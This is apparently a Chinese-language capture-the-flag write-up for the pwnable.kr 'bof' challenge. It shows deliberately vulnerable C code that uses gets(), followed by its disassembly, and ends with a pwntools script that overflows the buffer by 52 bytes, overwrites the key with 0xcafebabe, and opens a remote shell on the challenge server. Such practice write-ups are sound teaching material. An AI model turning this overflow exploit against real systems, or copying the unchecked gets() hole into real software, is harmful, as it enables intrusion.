將bof和bof.c文件下載下來
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
通過bof.c可以看到當key==0xcafebabe時獲得shell,但是由於func函數傳入的實參爲0xdeadbeef,看起來不可能實現get shell
但是我們注意到func函數通過gets函數獲取overflowme的值,這就給了我們溢出的基礎,通過溢出overflowme覆蓋key的值從而使的key==0xcafebabe。
查看func的彙編代碼
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea eax,[ebp-0x2c] //[ebp-0x2c]爲overflowme
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe //[ebp+0x8]爲key
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: mov DWORD PTR [esp],0x79b
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
通過彙編代碼我們可以看到,[ebp-0x2c]即爲overflowme,[ebp+0x8]爲key。所以我們只需要填充52個字節再加上0xcafebabe即可獲得shell。
因此我們的exp爲
from pwn import *
payload='a'*52+p32(0xcafebabe)
#p=process("./bof")
p=remote('pwnable.kr',9000)
p.recvline()
p.recvuntil("\n")
p.sendline(payload)
p.interactive()
再執行cat flag命令即可獲取flag了。
最後附上文件方便實踐:鏈接